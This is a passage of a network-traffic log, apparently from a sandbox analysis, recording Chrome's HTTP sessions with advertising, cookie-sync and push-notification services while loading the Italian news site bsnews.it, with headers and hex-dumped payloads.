2024-03-28 08:51:29 UTC	489	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:29 GMT Content-Type: image/gif Content-Length: 0 Connection: close Access-Control-Allow-Origin: * Server: MT3 1549 cea2cde master ord ord-pixel-x48 config_version:"1783" Cache-Control: no-cache P3P: CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA" set-cookie: mt_misc=mt_bt:1; domain=.mathtag.com; path=/; expires=Sat, 27-Apr-2024 08:51:29 GMT; SameSite=None; Secure Expires: Thu, 28 Mar 2024 08:51:28 GMT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
359	192.168.2.4	50183	20.101.38.191	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:29 UTC	829	OUT	GET /cm?pv=dbm&sid=1011&rt=img&rnd=436232701635&google_gid=CAESEFUiyoSAJM68NzMb8_TKqbY&google_cver=1 HTTP/1.1 Host: tracker.neodatagroup.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cProfile=AQMdCINwxgW/AAAAAAAEAAABjpjbKGMAB2RlZmF1bHQ=; cP=AT8DHQiDcMYFvwAAAAABs0lT; tr=loCAwICAwA==; cOptout=0\|yocToken:7AdUuQDnS44iVs6ZYu1ohLMYeJE
2024-03-28 08:51:29 UTC	1222	IN	HTTP/1.1 200 Date: Thu, 28 Mar 2024 08:51:29 GMT Content-Type: image/gif;charset=UTF-8 Content-Length: 1 Connection: close P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"; policyref="/ad/w3c/p3p.xml" Access-Control-Allow-Origin: * Set-Cookie: cP=AT8DHQiDcMYFvwAAAAABs0lT; path=/; domain=.neodatagroup.com; SameSite=None; Secure; expires=Fri, 28 Mar 2025 08:51:29 GMT; Set-Cookie: tr=loCAwIGjREJNAICB2gArMzFkMDg4MzcwYzYwNWJmX0NBRVNFRlVpeW9TQUpNNjhOek1iOF9US3FiWc5mBS+R; path=/; domain=.neodatagroup.com; SameSite=None; Secure; expires=Fri, 28 Mar 2025 08:51:29 GMT; Set-Cookie: tr=loCAwIGjREJNAICB2gArMzFkMDg4MzcwYzYwNWJmX0NBRVNFRlVpeW9TQUpNNjhOek1iOF9US3FiWc5mBS+R; path=/; domain=.neodatagroup.com; SameSite=None; Secure; expires=Fri, 28 Mar 2025 08:51:29 GMT; Set-Cookie: tr=loCAwIGjREJNAICB2gArMzFkMDg4MzcwYzYwNWJmX0NBRVNFRlVpeW9TQUpNNjhOek1iOF9US3FiWc5mBS+R; path=/; domain=.neodatagroup.com; SameSite=None; Secure; expires=Fri, 28 Mar 2025 08:51:29 GMT; Set-Cookie: tr=loCAwIGjREJNzmYGgRGAgdoAKzMxZDA4ODM3MGM2MDViZl9DQUVTRUZVaXlvU0FKTTY4TnpNYjhfVEtxYlnOZgUvkQ==; path=/; domain=.neodatagroup.com; SameSite=None; Secure; expires=Fri, 28 Mar 2025 08:51:29 GMT;
2024-03-28 08:51:29 UTC	1	IN	Data Raw: 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
360	192.168.2.4	50201	104.18.214.59	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:29 UTC	743	OUT	GET /api/v1/sync/311012f7-94f1-418c-abe0-3336ba01758e/web?callback=__jp0 HTTP/1.1 Host: onesignal.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bsnews.os.tc/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=E_OE2G9R9S7M_PyIZbBan1JVSTzVmVAalc8Y80VYqy8-1711615862-1.0.1.1-XxXxue0M8IAfuodc7c7fUGhRFS7.KAzpGmuy3Fl8LZDDTdyMkuLf9p9U0GraQGlZRoBHZKO29jn7b2rlSSuk6A
2024-03-28 08:51:29 UTC	900	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:29 GMT Content-Type: text/javascript; charset=utf-8 Content-Length: 4879 Connection: close Cache-Control: public, max-age=3600 Cf-Bgj: minify Cf-Polished: origSize=4883 access-control-allow-headers: SDK-Version access-control-allow-origin: * alt-svc: h3=":443"; ma=86400 etag: W/"866f7578175ceb4cfc75454e9de9e96b" referrer-policy: strict-origin-when-cross-origin vary: Origin via: 1.1 google x-content-type-options: nosniff x-download-options: noopen x-frame-options: SAMEORIGIN x-permitted-cross-domain-policies: none x-request-id: 86a3a79e-7d80-4eeb-8e57-773896cc2190 x-runtime: 0.029496 x-xss-protection: 1; mode=block CF-Cache-Status: HIT Age: 1052 Expires: Thu, 28 Mar 2024 09:51:29 GMT Accept-Ranges: bytes Strict-Transport-Security: max-age=15552000; includeSubDomains Server: cloudflare CF-RAY: 86b660ee08ec8218-IAD
2024-03-28 08:51:29 UTC	469	IN	Data Raw: 5f 5f 6a 70 30 28 7b 22 73 75 63 63 65 73 73 22 3a 74 72 75 65 2c 22 61 70 70 5f 69 64 22 3a 22 33 31 31 30 31 32 66 37 2d 39 34 66 31 2d 34 31 38 63 2d 61 62 65 30 2d 33 33 33 36 62 61 30 31 37 35 38 65 22 2c 22 76 65 72 73 69 6f 6e 22 3a 32 2c 22 66 65 61 74 75 72 65 73 22 3a 7b 22 72 65 73 74 72 69 63 74 5f 6f 72 69 67 69 6e 22 3a 7b 22 65 6e 61 62 6c 65 22 3a 66 61 6c 73 65 7d 2c 22 63 6f 6f 6b 69 65 5f 73 79 6e 63 22 3a 7b 22 65 6e 61 62 6c 65 22 3a 66 61 6c 73 65 7d 2c 22 6d 65 74 72 69 63 73 22 3a 7b 22 65 6e 61 62 6c 65 22 3a 74 72 75 65 2c 22 6d 69 78 70 61 6e 65 6c 5f 72 65 70 6f 72 74 69 6e 67 5f 74 6f 6b 65 6e 22 3a 22 37 63 32 35 38 32 65 34 35 61 36 65 63 66 31 35 30 31 61 61 33 63 61 37 38 38 37 66 33 36 37 33 22 7d 2c 22 65 6e 61 62 6c 65 Data Ascii: __jp0({"success":true,"app_id":"311012f7-94f1-418c-abe0-3336ba01758e","version":2,"features":{"restrict_origin":{"enable":false},"cookie_sync":{"enable":false},"metrics":{"enable":true,"mixpanel_reporting_token":"7c2582e45a6ecf1501aa3ca7887f3673"},"enable
2024-03-28 08:51:29 UTC	1369	IN	Data Raw: 72 65 20 67 6c 69 20 75 6c 74 69 6d 69 20 61 67 67 69 6f 72 6e 61 6d 65 6e 74 69 20 64 69 20 42 73 4e 65 77 73 2e 69 74 20 73 75 20 42 72 65 73 63 69 61 20 65 20 70 72 6f 76 69 6e 63 69 61 3f 20 45 27 20 67 72 61 74 69 73 21 22 2c 22 63 75 73 74 6f 6d 69 7a 65 54 65 78 74 45 6e 61 62 6c 65 64 22 3a 74 72 75 65 2c 22 70 72 6f 6d 70 74 73 22 3a 5b 7b 22 65 6e 61 62 6c 65 64 22 3a 74 72 75 65 2c 22 74 65 78 74 22 3a 7b 22 63 75 73 74 6f 6d 69 7a 61 74 69 6f 6e 45 6e 61 62 6c 65 64 22 3a 74 72 75 65 2c 22 61 63 63 65 70 74 42 75 74 74 6f 6e 22 3a 22 53 c3 ac 20 47 52 41 5a 49 45 22 2c 22 63 61 6e 63 65 6c 42 75 74 74 6f 6e 22 3a 22 4e 4f 22 2c 22 61 63 74 69 6f 6e 4d 65 73 73 61 67 65 22 3a 22 56 75 6f 69 20 72 69 63 65 76 65 72 65 20 67 6c 69 20 75 6c 74 69 Data Ascii: re gli ultimi aggiornamenti di BsNews.it su Brescia e provincia? E' gratis!","customizeTextEnabled":true,"prompts":[{"enabled":true,"text":{"customizationEnabled":true,"acceptButton":"S GRAZIE","cancelButton":"NO","actionMessage":"Vuoi ricevere gli ulti
2024-03-28 08:51:29 UTC	1369	IN	Data Raw: 61 76 69 6f 72 22 3a 7b 22 61 6c 6c 6f 77 4c 6f 63 61 6c 68 6f 73 74 41 73 53 65 63 75 72 65 4f 72 69 67 69 6e 22 3a 66 61 6c 73 65 7d 2c 22 61 75 74 6f 52 65 73 75 62 73 63 72 69 62 65 22 3a 66 61 6c 73 65 2c 22 77 65 6c 63 6f 6d 65 4e 6f 74 69 66 69 63 61 74 69 6f 6e 22 3a 7b 22 75 72 6c 22 3a 6e 75 6c 6c 2c 22 74 69 74 6c 65 22 3a 6e 75 6c 6c 2c 22 65 6e 61 62 6c 65 22 3a 74 72 75 65 2c 22 6d 65 73 73 61 67 65 22 3a 22 47 72 61 7a 69 65 20 70 65 72 20 65 73 73 65 72 74 69 20 69 73 63 72 69 74 74 6f 20 61 67 6c 69 20 61 67 67 69 6f 72 6e 61 6d 65 6e 74 69 22 2c 22 75 72 6c 45 6e 61 62 6c 65 64 22 3a 74 72 75 65 7d 2c 22 6e 6f 74 69 66 69 63 61 74 69 6f 6e 42 65 68 61 76 69 6f 72 22 3a 7b 22 63 6c 69 63 6b 22 3a 7b 22 6d 61 74 63 68 22 3a 22 65 78 61 63 Data Ascii: avior":{"allowLocalhostAsSecureOrigin":false},"autoResubscribe":false,"welcomeNotification":{"url":null,"title":null,"enable":true,"message":"Grazie per esserti iscritto agli aggiornamenti","urlEnabled":true},"notificationBehavior":{"click":{"match":"exac
2024-03-28 08:51:29 UTC	1369	IN	Data Raw: 45 57 53 2e 49 54 20 53 55 20 42 52 45 53 43 49 41 20 45 20 50 52 4f 56 49 4e 43 49 41 3f 22 2c 22 61 75 74 6f 41 63 63 65 70 74 54 69 74 6c 65 22 3a 22 43 4c 49 43 43 41 20 41 43 43 45 54 54 41 22 2c 22 63 75 73 74 6f 6d 69 7a 65 54 65 78 74 45 6e 61 62 6c 65 64 22 3a 74 72 75 65 7d 2c 22 6e 61 74 69 76 65 22 3a 7b 22 65 6e 61 62 6c 65 64 22 3a 66 61 6c 73 65 2c 22 61 75 74 6f 50 72 6f 6d 70 74 22 3a 74 72 75 65 7d 2c 22 62 65 6c 6c 22 3a 7b 22 65 6e 61 62 6c 65 64 22 3a 66 61 6c 73 65 2c 22 73 69 7a 65 22 3a 22 6c 61 72 67 65 22 2c 22 63 6f 6c 6f 72 22 3a 7b 22 6d 61 69 6e 22 3a 22 23 45 31 32 44 33 30 22 2c 22 61 63 63 65 6e 74 22 3a 22 77 68 69 74 65 22 7d 2c 22 64 69 61 6c 6f 67 22 3a 7b 22 6d 61 69 6e 22 3a 7b 22 74 69 74 6c 65 22 3a 22 4d 61 6e 61 Data Ascii: EWS.IT SU BRESCIA E PROVINCIA?","autoAcceptTitle":"CLICCA ACCETTA","customizeTextEnabled":true},"native":{"enabled":false,"autoPrompt":true},"bell":{"enabled":false,"size":"large","color":{"main":"#E12D30","accent":"white"},"dialog":{"main":{"title":"Mana
2024-03-28 08:51:29 UTC	303	IN	Data Raw: 36 2d 62 31 33 34 2d 32 37 32 63 39 61 61 66 30 30 62 39 22 2c 22 6f 72 69 67 69 6e 22 3a 22 68 74 74 70 3a 2f 2f 77 77 77 2e 62 73 6e 65 77 73 2e 69 74 22 2c 22 73 75 62 64 6f 6d 61 69 6e 22 3a 22 62 73 6e 65 77 73 22 2c 22 68 74 74 70 5f 75 73 65 5f 6f 6e 65 73 69 67 6e 61 6c 5f 63 6f 6d 22 3a 74 72 75 65 2c 22 6f 75 74 63 6f 6d 65 73 22 3a 7b 22 64 69 72 65 63 74 22 3a 7b 22 65 6e 61 62 6c 65 64 22 3a 66 61 6c 73 65 7d 2c 22 69 6e 64 69 72 65 63 74 22 3a 7b 22 65 6e 61 62 6c 65 64 22 3a 66 61 6c 73 65 2c 22 6e 6f 74 69 66 69 63 61 74 69 6f 6e 5f 61 74 74 72 69 62 75 74 69 6f 6e 22 3a 7b 22 6d 69 6e 75 74 65 73 5f 73 69 6e 63 65 5f 64 69 73 70 6c 61 79 65 64 22 3a 36 30 2c 22 6c 69 6d 69 74 22 3a 31 30 7d 7d 2c 22 75 6e 61 74 74 72 69 62 75 74 65 64 22 Data Ascii: 6-b134-272c9aaf00b9","origin":"http://www.bsnews.it","subdomain":"bsnews","http_use_onesignal_com":true,"outcomes":{"direct":{"enabled":false},"indirect":{"enabled":false,"notification_attribution":{"minutes_since_displayed":60,"limit":10}},"unattributed"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
361	192.168.2.4	50217	3.208.144.215	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:29 UTC	1284	OUT	GET /syncnoad?rid=30f2e100c3804685b89bc432e7fc41cf&p=activeagent%2Clogicad%2Cgoogle%2Cdemandbase%2Cportodsp%2Cconversant%2CTubeMogul-GP%2C1%2Cdataxu%2Ctremornet%2CVideology%2Cthetradedesk%2Cappnexus%2Ccentro%2CBidswitch%2Cstackadapt%2Cscaleout%2Cdynadmic%2Cmediamath%2CBidTheatre%2Cbeeswax%2CTapAd%2Cadgear%2CPulsepoint%2Cbrightroll%2Cbeachfront%2Cindexexchange%2CRadiumOne%2Cbucksense%2Cadform%2Cblis%2Cmadhive%2Cemx%2Cexponential%2Cadelphic%2Cadtheorent%2Csimpli.fi%2Cquantcast%2C4Info%2Cdeepintent%2Cadvangelists%2Cmartinai%2Cacuityads%2C_google_dfp%2C_dmp_turbine%2C_dmp_krux%2C_dmp_adobe%2C_dmp_lotame&uid=5c99a009bd184d5ca3b7885003b720e3&vv=3.0&gdpr=0&gdpr_consent=1 HTTP/1.1 Host: partners.tremorhub.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://bsnews.it Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: tvid=5c99a009bd184d5ca3b7885003b720e3; tvv=1; tvrg_61036=1,1711615884
2024-03-28 08:51:29 UTC	319	IN	HTTP/1.1 200 Date: Thu, 28 Mar 2024 08:51:29 GMT Content-Type: text/xml;charset=UTF-8 Transfer-Encoding: chunked Connection: close Server: nginx P3P: CP='This is not a P3P policy. See https://telaria.com/privacy-policy/' access-control-allow-origin: https://bsnews.it access-control-allow-credentials: true
2024-03-28 08:51:29 UTC	1132	IN	Data Raw: 34 36 35 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 0a 3c 56 41 53 54 20 76 65 72 73 69 6f 6e 3d 22 33 2e 30 22 20 78 6d 6c 6e 73 3a 74 3d 22 68 74 74 70 3a 2f 2f 74 72 65 6d 6f 72 68 75 62 2e 63 6f 6d 2f 73 73 70 22 20 74 3a 73 74 61 74 75 73 3d 22 4e 4f 5f 41 44 22 3e 3c 41 64 20 3e 3c 57 72 61 70 70 65 72 3e 3c 41 64 53 79 73 74 65 6d 3e 54 72 65 6d 6f 72 20 53 53 50 3c 2f 41 64 53 79 73 74 65 6d 3e 3c 56 41 53 54 41 64 54 61 67 55 52 49 3e 3c 21 5b 43 44 41 54 41 5b 68 74 74 70 73 3a 2f 2f 70 61 72 74 6e 65 72 73 2e 74 72 65 6d 6f 72 68 75 62 2e 63 6f 6d 2f 73 79 6e 63 6e 6f 61 64 3f 72 69 64 3d 33 30 66 32 65 31 30 30 63 33 38 30 34 36 38 35 62 38 39 62 63 34 33 32 65 37 66 Data Ascii: 465<?xml version="1.0" encoding="UTF-8"?><VAST version="3.0" xmlns:t="http://tremorhub.com/ssp" t:status="NO_AD"><Ad ><Wrapper><AdSystem>Tremor SSP</AdSystem><VASTAdTagURI><![CDATA[https://partners.tremorhub.com/syncnoad?rid=30f2e100c3804685b89bc432e7f
2024-03-28 08:51:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
362	192.168.2.4	50186	68.67.161.208	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:29 UTC	913	OUT	GET /getuid?https%3A%2F%2Fonetag-sys.com%2Fmatch%2F%3Fint_id%3D98%26gdpr%3D0%26gdpr_consent%3D%26uid%3D$UID HTTP/1.1 Host: ib.adnxs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://onetag-sys.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XANDR_PANID=FSn7X5NeciEMQOCcjHxXHqehzn-v4svBsj-gMw-pgwSgQCfMLVcv8zsZGedeIaeQHaHBYiGUTPoYHQhuiVJPrQfUeNdxFRZDxgmjjszNmB4.; icu=ChgIjq9kEAoYASABKAEwh9-UsAY4AUABSAEQh9-UsAYYAA..; receive-cookie-deprecation=1; uuid2=3287041831475129344
2024-03-28 08:51:29 UTC	1451	IN	HTTP/1.1 302 Found Server: nginx/1.23.4 Date: Thu, 28 Mar 2024 08:51:29 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness Location: https://onetag-sys.com/match/?int_id=98&gdpr=0&gdpr_consent=&uid=3287041831475129344 AN-X-Request-Uuid: 5e02699d-f672-419d-b692-0bd303c6c3e2 Set-Cookie: XANDR_PANID=FSn7X5NeciEMQOCcjHxXHqehzn-v4svBsj-gMw-pgwSgQCfMLVcv8zsZGedeIaeQHaHBYiGUTPoYHQhuiVJPrQfUeNdxFRZDxgmjjszNmB4.; SameSite=None; Path=/; Max-Age=7776000; Expires=Wed, 26-Jun-2024 08:51:29 GMT; Domain=.adnxs.com; Secure; Partitioned Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Thu, 16-Mar-2034 08:51:29 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned Set-Cookie: uuid2=3287041831475129344; SameSite=None; Path=/; Max-Age=7776000; Expires=Wed, 26-Jun-2024 08:51:29 GMT; Domain=.adnxs.com; Secure; HttpOnly X-Proxy-Origin: 102.165.48.43; 102.165.48.43; 806.bm-nginx-loadbalancer.mgmt.nym2.adnexus.net; adnxs.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
363	192.168.2.4	50219	35.244.250.22	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:29 UTC	535	OUT	GET /cacheid HTTP/1.1 Host: js.tncid.app Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://bsnews.it Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:30 UTC	537	IN	HTTP/1.1 301 Moved Permanently access-control-allow-headers: * access-control-allow-methods: GET, POST, PATCH, PUT, DELETE, OPTIONS access-control-allow-origin: * access-control-allow-private-network: true content-type: text/html; charset=utf-8 location: /cacheid/1711615889919.69407391658313378 X-Cloud-Trace-Context: 52b00dab3c78ac12545d0641f8c59dbe Date: Thu, 28 Mar 2024 08:51:29 GMT Server: Google Frontend Content-Length: 75 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-03-28 08:51:30 UTC	75	IN	Data Raw: 3c 61 20 68 72 65 66 3d 22 2f 63 61 63 68 65 69 64 2f 31 37 31 31 36 31 35 38 38 39 39 31 39 2e 36 39 34 30 37 33 39 31 36 35 38 33 31 33 33 37 38 22 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 61 3e 2e 0a 0a Data Ascii: <a href="/cacheid/1711615889919.69407391658313378">Moved Permanently</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
364	192.168.2.4	50220	35.244.250.22	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:29 UTC	577	OUT	GET /6b634075-ddb2-44fb-ba9e-6183cd8a9dec/options.json HTTP/1.1 Host: js.tncid.app Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://bsnews.it Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:30 UTC	1002	IN	HTTP/1.1 200 OK X-GUploader-UploadID: ABPtcPpfZBoGhy5stoft3FiI0vPC-z66STS27IHdWMUgkZdSiEYPMUJpxQYzlBwmxtZpeEWeNEPXjYWopA Date: Thu, 28 Mar 2024 08:51:29 GMT Last-Modified: Wed, 04 Oct 2023 13:02:17 GMT ETag: W/"299b19df367fa999b58046f65338d6a5" Vary: Accept-Encoding x-goog-generation: 1696424537885025 x-goog-metageneration: 1 x-goog-stored-content-encoding: gzip x-goog-stored-content-length: 77 Content-Type: application/json x-goog-hash: crc32c=aLLwkQ== x-goog-hash: md5=KZsZ3zZ/qZm1gEb2UzjWpQ== x-goog-storage-class: STANDARD Access-Control-Allow-Origin: * X-GUploader-Response-Body-Transformations: gunzipped Warning: 214 UploadServer gunzipped Access-Control-Expose-Headers: Content-Length, Date, Server, Transfer-Encoding, Warning, X-GUploader-Response-Body-Transformations, X-GUploader-UploadID, X-Google-Trace Server: UploadServer Cache-Control: public,max-age=3600 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close Transfer-Encoding: chunked
2024-03-28 08:51:30 UTC	85	IN	Data Raw: 34 61 0d 0a 7b 22 61 75 74 6f 73 74 61 72 74 22 3a 74 72 75 65 2c 22 74 63 66 22 3a 74 72 75 65 2c 22 70 75 62 6c 69 73 68 65 72 22 3a 74 72 75 65 2c 22 67 65 74 46 69 6c 65 73 22 3a 7b 22 70 72 65 70 61 72 65 22 3a 74 72 75 65 7d 7d 0d 0a 30 0d 0a 0d 0a Data Ascii: 4a{"autostart":true,"tcf":true,"publisher":true,"getFiles":{"prepare":true}}0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
365	192.168.2.4	50205	151.101.1.44	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:30 UTC	944	OUT	GET /sg/zeotap/1/cm?env=mWeb&eventType=pageview&id_mid_4=5b95a3db-1a3a-4c5d-7bc4-805f128d851b&reqId=212c3ed0-3dd8-4750-606c-8892c7edded6&zdid=648&redirect=https%3A%2F%2Fmwzeom.zeotap.com%2Fmw%3Fcid%3D%3CTUID%3E%26zpartnerid%3D1367%26env%3DmWeb%26eventType%3Dpageview%26id_mid_4%3D5b95a3db-1a3a-4c5d-7bc4-805f128d851b%26reqId%3D212c3ed0-3dd8-4750-606c-8892c7edded6%26zdid%3D648 HTTP/1.1 Host: trc.taboola.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://spl.zeotap.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:30 UTC	592	IN	HTTP/1.1 200 OK Connection: close Server: nginx Cache-Control: no-cache, no-store Pragma: no-cache P3P: policyref="http://trc.taboola.com/p3p.xml", CP="NOI DSP COR LAW NID CURa ADMa DEVa PSAa PSDa OUR BUS IND UNI COM NAV INT DEM" Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true X-Fastly-to-NLB-rtt: 7160 Accept-Ranges: bytes Date: Thu, 28 Mar 2024 08:51:30 GMT Via: 1.1 varnish X-SERVICE-VERSION: v2 X-Served-By: cache-iad-kjyo7100055-IAD X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1711615890.074578,VS0,VE8 X-vcl-time-ms: 8 transfer-encoding: chunked
2024-03-28 08:51:30 UTC	4	IN	Data Raw: 32 62 0d 0a Data Ascii: 2b
2024-03-28 08:51:30 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 40 02 02 4c 01 00 3b Data Ascii: GIF89a!,@L;
2024-03-28 08:51:30 UTC	7	IN	Data Raw: 0d 0a 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
366	192.168.2.4	50206	3.231.143.36	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:30 UTC	756	OUT	GET /ad/u?mode=echo&cr=https%3A%2F%2Fmwzeom.zeotap.com%2Fmw%3Fzpartnerid%3D1368%26env%3DmWeb%26cid%3D%23%7Buser.id%7D%26gdpr%3D%24%7BGDPR_ENFORCED%7D%26gdpr_consent%3D%24%7BGDPR_CONSENT%7D HTTP/1.1 Host: dmp.v.fwmrm.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://spl.zeotap.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:30 UTC	430	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:30 GMT Content-Type: text/html Content-Length: 0 Connection: close Cache-Control: no-store Expires: 0 Pragma: no-cache Set-Cookie: _uid=umebec2_7351914970325555283; Path=/; Domain=fwmrm.net; Expires=Tue, 24 Sep 2024 08:51:30 GMT; Secure; SameSite=None X-Fw-Request-Id: umebec2_1711615890932165526 P3P: policyref="https://www.freewheel.tv/w3c/p3p.xml",CP="ALL DSP COR NID"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
367	192.168.2.4	50207	8.28.7.81	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
